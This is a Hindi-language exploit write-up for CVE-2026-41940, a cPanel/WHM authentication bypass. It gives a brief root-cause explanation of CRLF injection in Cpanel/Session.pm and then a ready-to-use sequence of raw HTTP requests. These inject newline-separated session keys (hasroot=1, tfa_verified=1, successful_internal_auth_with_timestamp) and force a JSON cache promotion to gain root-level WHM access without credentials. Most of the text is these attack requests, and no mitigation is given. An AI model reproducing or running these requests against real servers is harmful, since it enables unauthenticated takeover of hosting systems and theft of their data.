
CVE-2026-41940 के लिए एक्सप्लॉइट, cPanel/WHM में एक प्रमाणीकरण बायपास, जो सत्र इंजेक्शन और JSON कैश प्रमोशन के माध्यम से अनप्रमाणित हमलावरों को रूट एक्सेस प्राप्त करने की अनुमति देता है।
CVE-2026-41940 cPanel और WHM में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है जो सभी वर्तमान समर्थित संस्करणों को प्रभावित करती है। यह एक अनधिकृत हमलावर को प्रमाणीकरण को बाईपास करने और रूट-स्तरीय पहुंच (WHM) या उपयोगकर्ता-स्तरीय पहुंच (cPanel) प्राप्त करने की अनुमति देती है।
यह भेद्यता Cpanel/Session.pm में दो प्राथमिक समस्याओं से उत्पन्न होती है:
saveSession में CRLF इंजेक्शन: saveSession फ़ंक्शन डिस्क पर सत्र फ़ाइल में लिखने से पहले इनपुट को ठीक से सैनिटाइज़ नहीं करता था। विशेष रूप से, यह pass फ़ील्ड से न्यूलाइन वर्णों (\n) को हटाने में विफल रहा।pass फ़ील्ड सामान्य रूप से प्रति-सत्र गुप्त कुंजी (ob) का उपयोग करके एन्क्रिप्ट किया जाता है। हालाँकि, यदि सत्र कुकी में ob भाग (अल्पविराम के बाद का भाग) नहीं होता है, तो एन्कोडिंग छोड़ दी जाती है, और pass मान स्पष्ट पाठ में लिखा जाता है।शोषण एक बहु-चरणीय प्रक्रिया है:
डिस्क पर सत्र फ़ाइल के निर्माण को ट्रिगर करने के लिए एक असफल लॉगिन प्रयास भेजें।
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
सर्वर whostmgrsession कुकी के साथ प्रतिक्रिया करता है, जैसे, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...।
सत्र कुकी का उपयोग करके एक और अनुरोध भेजें लेकिन ob भाग को हटा दें (अल्पविराम और उसके बाद सब कुछ)। pass फ़ील्ड में, न्यूलाइन का उपयोग करके वांछित सत्र कुंजियाँ इंजेक्ट करें।
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
क्योंकि ob भाग अनुपस्थित है, cpsrvd pass मान को बिना एन्कोडिंग के लिखता है। इंजेक्टेड न्यूलाइन के कारण बाद की पंक्तियों को कच्ची सत्र फ़ाइल में अलग कुंजी-मूल्य जोड़े के रूप में व्याख्यायित किया जाता है।
cPanel सत्रों के लिए JSON कैश का उपयोग करता है। कच्चा इंजेक्शन केवल टेक्स्ट फ़ाइल में होता है। इसे "सक्रिय" बनाने के लिए, हमें cPanel को कच्ची फ़ाइल को फिर से पढ़ने और JSON कैश को अपडेट करने के लिए बाध्य करना होगा। यह Cpanel::Session::Modify का उपयोग करने वाले एंडपॉइंट पर "टोकन अस्वीकृत" त्रुटि ट्रिगर करके किया जा सकता है।
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
URL में गायब सुरक्षा टोकन do_token_denied को ट्रिगर करता है, जो token_denied गणना को अपडेट करने के लिए Cpanel::Session::Modify का उपयोग करता है। Modify कच्ची फ़ाइल को पढ़ता है (कैश को बाईपास करके) और फिर कच्ची फ़ाइल और JSON कैश दोनों को लिखता है, प्रभावी रूप से हमारी इंजेक्टेड कुंजियों को JSON कैश के शीर्ष स्तर पर प्रचारित करता है।
अब सत्र cPanel की दृष्टि में पूरी तरह से "प्रमाणित" है। successful_internal_auth_with_timestamp कुंजी /etc/shadow जांच को बाईपास करती है।
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
[TOKEN] सत्र में cp_security_token फ़ील्ड से प्राप्त किया जा सकता है, जो अक्सर "टोकन अस्वीकृत" प्रतिक्रिया में लौटाया जाता है या सत्र कुकी व्यवहार का निरीक्षण करके पाया जा सकता है।
tfa_verified=1: दो-कारक प्रमाणीकरण को बाईपास करता है।hasroot=1: WHM में रूट विशेषाधिकार प्रदान करता है।successful_internal_auth_with_timestamp=[TIMESTAMP]: सिस्टम शैडो फ़ाइल के विरुद्ध वास्तविक पासवर्ड सत्यापन को बाईपास करता है।user=root: सत्र उपयोगकर्ता को रूट पर सेट करता है।